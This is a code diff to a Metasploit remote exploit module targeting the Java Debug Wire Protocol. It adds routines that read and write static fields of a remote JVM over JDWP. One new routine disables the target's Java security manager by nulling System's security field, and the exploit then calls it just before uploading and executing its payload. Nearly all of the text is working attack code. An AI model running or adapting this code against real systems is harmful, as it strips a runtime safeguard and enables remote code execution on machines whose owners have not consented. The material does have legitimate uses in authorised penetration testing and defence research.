@@ -31,6 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote
31
31
METHODS_SIG = [ 2 , 5 ]
32
32
GETVALUES_SIG = [ 2 , 6 ]
33
33
CLASSOBJECT_SIG = [ 2 , 11 ]
34
+ SETSTATICVALUES_SIG = [ 3 , 2 ]
34
35
INVOKESTATICMETHOD_SIG = [ 3 , 3 ]
35
36
CREATENEWINSTANCE_SIG = [ 3 , 4 ]
36
37
REFERENCETYPE_SIG = [ 9 , 1 ]
@@ -389,6 +390,62 @@ def get_methods(reftype_id)
389
390
@methods [ reftype_id ] = parse_entries ( response , formats )
390
391
end
391
392
393
+ # Returns information for each field in a reference type (ie. object)
394
+ def get_fields ( reftype_id )
395
+ formats = [
396
+ [ @vars [ "fieldid_size" ] , "field_id" ] ,
397
+ [ "S" , "name" ] ,
398
+ [ "S" , "signature" ] ,
399
+ [ "I" , "mod_bits" ]
400
+ ]
401
+ ref_id = format ( @vars [ "referencetypeid_size" ] , reftype_id )
402
+ sock . put ( create_packet ( FIELDS_SIG , ref_id ) )
403
+ response = read_reply
404
+ fields = parse_entries ( response , formats )
405
+
406
+ fields
407
+ end
408
+
409
+ # Returns the value of one static field of the reference type. The field must be member of the reference type
410
+ # or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;
411
+ # for example, the values of private fields can be obtained.
412
+ def get_value ( reftype_id , field_id )
413
+ data = format ( @vars [ "referencetypeid_size" ] , reftype_id )
414
+ data << [ 1 ] . pack ( 'N' )
415
+ data << format ( @vars [ "fieldid_size" ] , field_id )
416
+
417
+ sock . put ( create_packet ( GETVALUES_SIG , data ) )
418
+ response = read_reply
419
+ num_values = response . unpack ( 'N' ) [ 0 ]
420
+
421
+ unless ( num_values == 1 ) && ( response [ 4 ] . unpack ( 'C' ) [ 0 ] == TAG_OBJECT )
422
+ fail_with ( Failure ::Unknown , "Bad response when getting value for field" )
423
+ end
424
+
425
+ response . slice! ( 0 ..4 )
426
+
427
+ len = @vars [ "objectid_size" ]
428
+ value = unformat ( len , response )
429
+
430
+ value
431
+ end
432
+
433
+ # Sets the value of one static field. Each field must be member of the class type or one of its superclasses,
434
+ # superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of
435
+ # private fields can be set. Final fields cannot be set.For primitive values, the value's type must match
436
+ # the field's type exactly. For object values, there must exist a widening reference conversion from the
437
+ # value's type to the field's type and the field's type must be loaded.
438
+ def set_value ( reftype_id , field_id , value )
439
+ data = format ( @vars [ "referencetypeid_size" ] , reftype_id )
440
+ data << [ 1 ] . pack ( 'N' )
441
+ data << format ( @vars [ "fieldid_size" ] , field_id )
442
+ data << format ( @vars [ "objectid_size" ] , value )
443
+
444
+ sock . put ( create_packet ( SETSTATICVALUES_SIG , data ) )
445
+ read_reply
446
+ end
447
+
448
+
392
449
# Checks if specified method is currently loaded by the target VM and returns it
393
450
def get_method_by_name ( classname , name , signature = nil )
394
451
@methods [ classname ] . each do |entry |
@@ -784,6 +841,34 @@ def set_step_event
784
841
return r_id , t_id
785
842
end
786
843
844
+ # Disables security manager if it's set on target JVM
845
+ def disable_sec_manager
846
+ sys_class = get_class_by_name ( "Ljava/lang/System;" )
847
+
848
+ fields = get_fields ( sys_class [ "reftype_id" ] )
849
+
850
+ sec_field = nil
851
+
852
+ fields . each do |field |
853
+ sec_field = field [ "field_id" ] if field [ "name" ] . downcase == "security"
854
+ end
855
+
856
+ fail_with ( Failure ::Unknown , "Security attribute not found" ) if sec_field . nil?
857
+
858
+ value = get_value ( sys_class [ "reftype_id" ] , sec_field )
859
+
860
+ if ( value == 0 )
861
+ print_good ( "#{ peer } - Security manager was not set" )
862
+ else
863
+ set_value ( sys_class [ "reftype_id" ] , sec_field , 0 )
864
+ if get_value ( sys_class [ "reftype_id" ] , sec_field ) == 0
865
+ print_good ( "#{ peer } - Security manager has been disabled" )
866
+ else
867
+ print_good ( "#{ peer } - Security manager has not been disabled, trying anyway..." )
868
+ end
869
+ end
870
+ end
871
+
787
872
# Uploads & executes the payload on the target VM
788
873
def exec_payload ( thread_id )
789
874
# 0. Fingerprinting OS
@@ -864,6 +949,9 @@ def exploit
864
949
print_status ( "#{ peer } - Deleting step event..." )
865
950
clear_event ( EVENT_STEP , r_id )
866
951
952
+ print_status ( "#{ peer } - Disabling security manager if set..." )
953
+ disable_sec_manager
954
+
867
955
print_status ( "#{ peer } - Dropping and executing payload..." )
868
956
exec_payload ( t_id )
869
957
0 commit comments